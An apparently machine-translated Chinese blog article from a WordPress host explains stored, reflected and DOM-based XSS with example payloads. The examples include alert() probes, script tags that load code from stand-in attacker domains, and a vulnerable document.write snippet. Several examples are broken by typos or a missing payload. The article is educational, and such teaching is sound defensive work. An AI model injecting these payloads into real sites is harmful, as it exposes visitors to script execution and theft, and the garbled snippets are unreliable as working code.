跨站点脚本 (XSS) 攻击的类型

已发表: 2022-11-04

在我们之前关于 WordPress 和跨站点脚本的文章中,我们对这些类型的攻击是什么以及如何防止它们进行了高层次的了解。 在本文中,我们将深入探讨一些细节以及一些跨站点脚本示例。 我们走吧!

持久性 XSS

持久性 XSS(或存储 XSS)是跨站点脚本的主要类型之一。 之所以称为持久性,是因为攻击者注入的内容永久存储在服务器上供以后使用。 每当访问者访问特定页面时,浏览器都会在加载时或调用特定功能时执行代码。

持久性 XSS示例:

假设在帖子下方的评论部分,有人输入了一个警报脚本以及一个简单的答案/意见。

 Great solution! It works for me.<script>alert("Some text message")</script>

如果评论部分存在漏洞并且提交的评论未经过清理,则此代码将保存在数据库中。 因此,从那时起,无论何时(任何人)加载页面并且“差评”与所有评论一起可见时,都会出现一个弹出窗口和消息。

当然,警告消息可能很烦人,但并不真正有害。 但是,如果攻击者插入恶意脚本而不是像这样的警报消息,会发生什么情况:

 Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">

最终用户将体验到 XSS 攻击,而不是烦人的弹出窗口。 损害将取决于执行的代码类型。 这就是存储型 XSS 攻击被认为如此危险的原因。 他们攻击每个用户,甚至不需要用户的任何输入(禁止首先打开页面)。

非持久性 XSS

虽然不像持久性 XSS 那样危险,但非持久性(或反射性)XSS 仍然存在问题,尤其是因为它们被认为是最常见的跨站点脚本攻击类型。

本质上,在非持久性 XSS 攻击中发生的事情是最终用户单击恶意链接,该链接会将他们发送到另一个网站,从而触发一些错误的代码执行。 攻击是通过精心设计的 URL 或 HTTP 参数进行的,并且不会像 Persistent XSS 那样永久保存在数据库中。

但在进行非持久性攻击之前,攻击者必须识别网站是否容易受到 XSS 攻击。 一种方法是使用网站的内部搜索引擎。 如果你输入一个字符串,比方说“shoes”来搜索并点击按钮,就会执行一个如下所示的函数:

 http://exampledomain.com?query=shoes

不过,在该函数运行之前,您输入的字符串会被清除,或者至少应该被清除,这样搜索表单就不会受到恶意输入的影响。

攻击者可以使用搜索表单并尝试输入如下脚本:

 <script type="text/javascript">alert("vulnerable");</script>

如果表单未经过清理,它将正常运行该函数:

 http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>

这将(在此示例中)导致显示警报弹出窗口。 这是当攻击者知道搜索表单存在 XSS 漏洞时。

非持久性 XSS 示例

如果在站点上发现漏洞,攻击者可能会选择创建如下所示的 URL:

 http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"

然后他们“屏蔽”该 URL,使其看起来不像是“坏”链接,并尝试鼓励其他人点击此链接。 通常,这可能是我发送垃圾邮件或可能在论坛上包含一个链接。

基于 DOM 的 XSS

在基于 DOM 的 XSS(或客户端 XSS)事件中,攻击通过包含恶意代码的 URL 传递。

它也被认为是客户端漏洞,因为它在受害者的浏览器中执行,但这里发生的是 DOM 的一部分被更改,这导致客户端在未经他们同意的情况下运行代码。

使用 Pressidium 托管您的网站

60 天退款保证

查看我们的计划

注意:文档对象模型 (DOM) 是一个接口,它通过将脚本语言连接到实际网页来定义网页的布局结构。 为此,它允许开发人员访问文档并执行操作以更新内容。

基于 DOM 的 XSS 示例:

一个基于 DOM 的跨站点脚本攻击的例子可以用一个表单来演示,该表单允许您选择一个选项,例如您的居住国家/地区。 让我们看看下面的例子是如何实现的:

 Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>

因此,可以通过 URL 访问在表单中选择选项的页面,例如:

 http://localhost/?country=Lithuania

但是,如果您尝试这样输入(见下文),那么浏览器将创建一个包含该字符串的 DOM 对象并执行脚本。

 http://localhost/?country=Lithuania

发生这种情况是因为表单未受保护并且初始代码尚未准备好用于任何 HTML 标记。 所以它所做的是将 DOM 绘制到页面中并运行恶意脚本。

XSS 攻击太常见了。 尽可能保护自己的一个简单方法是始终在您的 WordPress 网站上保持插件最新并使用高质量的主机。 我们希望这些示例能让您了解这些类型的攻击如何工作以及需要注意什么!